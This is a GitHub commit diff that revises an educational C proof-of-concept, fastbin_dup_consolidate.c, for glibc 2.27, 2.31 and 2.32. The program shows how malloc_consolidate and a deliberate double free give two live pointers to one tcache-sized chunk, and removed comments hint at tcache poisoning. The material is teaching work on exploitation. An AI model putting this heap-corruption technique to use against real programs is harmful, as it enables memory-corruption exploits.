You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: glibc_2.27/fastbin_dup_consolidate.c
+30-37
Original file line number
Diff line number
Diff line change
@@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
22
22
23
23
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24
24
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25
-
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
25
+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
26
26
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27
27
a double free to gain control of a tcache sized chunk.
28
-
29
28
*/
30
29
31
-
intmain() {
32
-
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33
-
printf("It would also allow us to perform tcache poisoning.\n\n");
30
+
#defineCHUNK_SIZE 0x400
34
31
35
-
printf("Lets fill up the tcache to force fastbin usage...\n\n");
32
+
intmain() {
33
+
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
34
+
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
36
35
37
36
void*ptr[7];
38
37
39
38
for(inti=0; i<7; i++)
40
39
ptr[i] =malloc(0x40);
41
-
for(inti=0; i<7; i++)
42
-
free(ptr[i]);
43
-
44
-
// void* ppoison = malloc(0x400);
45
-
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46
-
47
-
void*p1=calloc(1,0x40);
48
-
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49
-
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
50
40
41
+
void*p1=malloc(0x40);
51
42
printf("Allocate another chunk of the same size p1=%p \n", p1);
52
-
printf("Freeing p1 will add it to the fastbin.\n\n");
53
-
free(p1);
54
43
55
-
void*p3=malloc(0x400);
44
+
printf("Fill up the tcache...\n");
45
+
for(inti=0; i<7; i++)
46
+
free(ptr[i]);
56
47
57
-
// free(ppoison);
58
-
// We can now free this chunk to put it in the tcache bin for the poison.
48
+
printf("Now freeing p1 will add it to the fastbin.\n\n");
49
+
free(p1);
59
50
60
51
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
61
52
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62
-
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
53
+
printf("a tcache-sized chunk with chunk size 0x410 ");
54
+
void*p2=malloc(CHUNK_SIZE);
63
55
64
-
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65
-
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
56
+
printf("p2=%p.\n", p2);
66
57
67
-
assert(p1==p3);
58
+
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
59
+
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
68
60
69
-
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70
-
free(p1); // vulnerability
61
+
assert(p1==p2);
71
62
72
-
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73
-
printf("We have thus achieved UAF on tcache!\n");
63
+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
64
+
free(p1); // vulnerability (double free)
65
+
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
74
66
75
-
// *(long long*)p3 = target;
76
-
// We can use the UAF here to perform tcache poison.
67
+
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
77
68
78
-
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79
-
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
80
-
void*p4=malloc(0x400);
69
+
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
70
+
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
71
+
void*p3=malloc(CHUNK_SIZE);
81
72
82
-
assert(p4==p3);
73
+
assert(p3==p2);
83
74
84
-
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85
-
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
75
+
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
76
+
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
86
77
printf("We have achieved duplication!\n\n");
87
78
88
79
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89
-
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
80
+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
81
+
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
82
+
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
Copy file name to clipboardexpand all lines: glibc_2.31/fastbin_dup_consolidate.c
+30-37
Original file line number
Diff line number
Diff line change
@@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
22
22
23
23
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24
24
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25
-
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
25
+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
26
26
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27
27
a double free to gain control of a tcache sized chunk.
28
-
29
28
*/
30
29
31
-
intmain() {
32
-
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33
-
printf("It would also allow us to perform tcache poisoning.\n\n");
30
+
#defineCHUNK_SIZE 0x400
34
31
35
-
printf("Lets fill up the tcache to force fastbin usage...\n\n");
32
+
intmain() {
33
+
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
34
+
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
36
35
37
36
void*ptr[7];
38
37
39
38
for(inti=0; i<7; i++)
40
39
ptr[i] =malloc(0x40);
41
-
for(inti=0; i<7; i++)
42
-
free(ptr[i]);
43
-
44
-
// void* ppoison = malloc(0x400);
45
-
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46
-
47
-
void*p1=calloc(1,0x40);
48
-
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49
-
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
50
40
41
+
void*p1=malloc(0x40);
51
42
printf("Allocate another chunk of the same size p1=%p \n", p1);
52
-
printf("Freeing p1 will add it to the fastbin.\n\n");
53
-
free(p1);
54
43
55
-
void*p3=malloc(0x400);
44
+
printf("Fill up the tcache...\n");
45
+
for(inti=0; i<7; i++)
46
+
free(ptr[i]);
56
47
57
-
// free(ppoison);
58
-
// We can now free this chunk to put it in the tcache bin for the poison.
48
+
printf("Now freeing p1 will add it to the fastbin.\n\n");
49
+
free(p1);
59
50
60
51
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
61
52
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62
-
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
53
+
printf("a tcache-sized chunk with chunk size 0x410 ");
54
+
void*p2=malloc(CHUNK_SIZE);
63
55
64
-
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65
-
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
56
+
printf("p2=%p.\n", p2);
66
57
67
-
assert(p1==p3);
58
+
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
59
+
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
68
60
69
-
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70
-
free(p1); // vulnerability
61
+
assert(p1==p2);
71
62
72
-
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73
-
printf("We have thus achieved UAF on tcache!\n");
63
+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
64
+
free(p1); // vulnerability (double free)
65
+
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
74
66
75
-
// *(long long*)p3 = target;
76
-
// We can use the UAF here to perform tcache poison.
67
+
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
77
68
78
-
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79
-
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
80
-
void*p4=malloc(0x400);
69
+
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
70
+
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
71
+
void*p3=malloc(CHUNK_SIZE);
81
72
82
-
assert(p4==p3);
73
+
assert(p3==p2);
83
74
84
-
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85
-
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
75
+
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
76
+
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
86
77
printf("We have achieved duplication!\n\n");
87
78
88
79
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89
-
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
80
+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
81
+
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
82
+
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
Copy file name to clipboardexpand all lines: glibc_2.32/fastbin_dup_consolidate.c
+30-37
Original file line number
Diff line number
Diff line change
@@ -22,71 +22,64 @@ As of glibc version 2.35 it is called only in the following five places:
22
22
23
23
We will be targeting the first place, so we will need to allocate a chunk that does not belong in the
24
24
small bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901).
25
-
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Interestingly, the
25
+
This means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the
26
26
biggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize
27
27
a double free to gain control of a tcache sized chunk.
28
-
29
28
*/
30
29
31
-
intmain() {
32
-
printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n");
33
-
printf("It would also allow us to perform tcache poisoning if we had a heap leak.\n\n");
30
+
#defineCHUNK_SIZE 0x400
34
31
35
-
printf("Lets fill up the tcache to force fastbin usage...\n\n");
32
+
intmain() {
33
+
printf("This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\n");
34
+
printf("Lets prepare to fill up the tcache in order to force fastbin usage...\n\n");
36
35
37
36
void*ptr[7];
38
37
39
38
for(inti=0; i<7; i++)
40
39
ptr[i] =malloc(0x40);
41
-
for(inti=0; i<7; i++)
42
-
free(ptr[i]);
43
-
44
-
// void* ppoison = malloc(0x400);
45
-
// ^ We would have to allocate this to be able to do tcache poison later, since we need at least 2 chunks in a bin to do it.
46
-
47
-
void*p1=calloc(1,0x40);
48
-
// Using calloc here doesn't take from the tcache since calloc calls _int_malloc (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3679)
49
-
// and taking from the tcache is handled in __libc_malloc. If we used malloc(0x40) the chunk would get taken from the tcache.
50
40
41
+
void*p1=malloc(0x40);
51
42
printf("Allocate another chunk of the same size p1=%p \n", p1);
52
-
printf("Freeing p1 will add it to the fastbin.\n\n");
53
-
free(p1);
54
43
55
-
void*p3=malloc(0x400);
44
+
printf("Fill up the tcache...\n");
45
+
for(inti=0; i<7; i++)
46
+
free(ptr[i]);
56
47
57
-
// free(ppoison);
58
-
// We can now free this chunk to put it in the tcache bin for the poison.
48
+
printf("Now freeing p1 will add it to the fastbin.\n\n");
49
+
free(p1);
59
50
60
51
printf("To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\n");
61
52
printf("which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\n");
62
-
printf("a tcache-sized chunk with chunk size 0x410. p3=%p\n", p3);
53
+
printf("a tcache-sized chunk with chunk size 0x410 ");
54
+
void*p2=malloc(CHUNK_SIZE);
63
55
64
-
printf("\nmalloc_consolidate will merge the fast chunk p1 with top.\n");
65
-
printf("p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\n");
56
+
printf("p2=%p.\n", p2);
66
57
67
-
assert(p1==p3);
58
+
printf("\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\n");
59
+
printf("Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\n");
68
60
69
-
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\n\n");
70
-
free(p1); // vulnerability
61
+
assert(p1==p2);
71
62
72
-
printf("So p1 is double freed, and p3 hasn't been freed although it now points to a free chunk.\n");
73
-
printf("We have thus achieved UAF on tcache!\n");
63
+
printf("We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\n\n");
64
+
free(p1); // vulnerability (double free)
65
+
printf("It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\n");
74
66
75
-
// *(long long*)p3 = target ^ (p3 >> 12);
76
-
// We can use the UAF here to perform tcache poison.
67
+
printf("So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\n");
77
68
78
-
printf("We will request a chunk of size 0x400, this will give us the 0x410 chunk thats currently in\n");
79
-
printf("the tcache bin. p3 and p1 will still be pointing to it.\n");
80
-
void*p4=malloc(0x400);
69
+
printf("We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\n");
70
+
printf("the tcache bin. p2 and p1 will still be pointing to it.\n");
71
+
void*p3=malloc(CHUNK_SIZE);
81
72
82
-
assert(p4==p3);
73
+
assert(p3==p2);
83
74
84
-
printf("We now have two pointers (p3 and p4) that haven't been directly freed\n");
85
-
printf("and both point to the same tcache sized chunk. p3=%p p4=%p\n", p3, p4);
75
+
printf("We now have two pointers (p2 and p3) that haven't been directly freed\n");
76
+
printf("and both point to the same tcache sized chunk. p2=%p p3=%p\n", p2, p3);
86
77
printf("We have achieved duplication!\n\n");
87
78
88
79
printf("Note: This duplication would have also worked with a larger chunk size, the chunks would\n");
89
-
printf("have behaved the same, just being taken from the top instead of from the tcache bin.");
80
+
printf("have behaved the same, just being taken from the top instead of from the tcache bin.\n");
81
+
printf("This is pretty cool because it is usually difficult to duplicate large sized chunks\n");
82
+
printf("because they are resistant to direct double free's due to their PREV_INUSE check.\n");
0 commit comments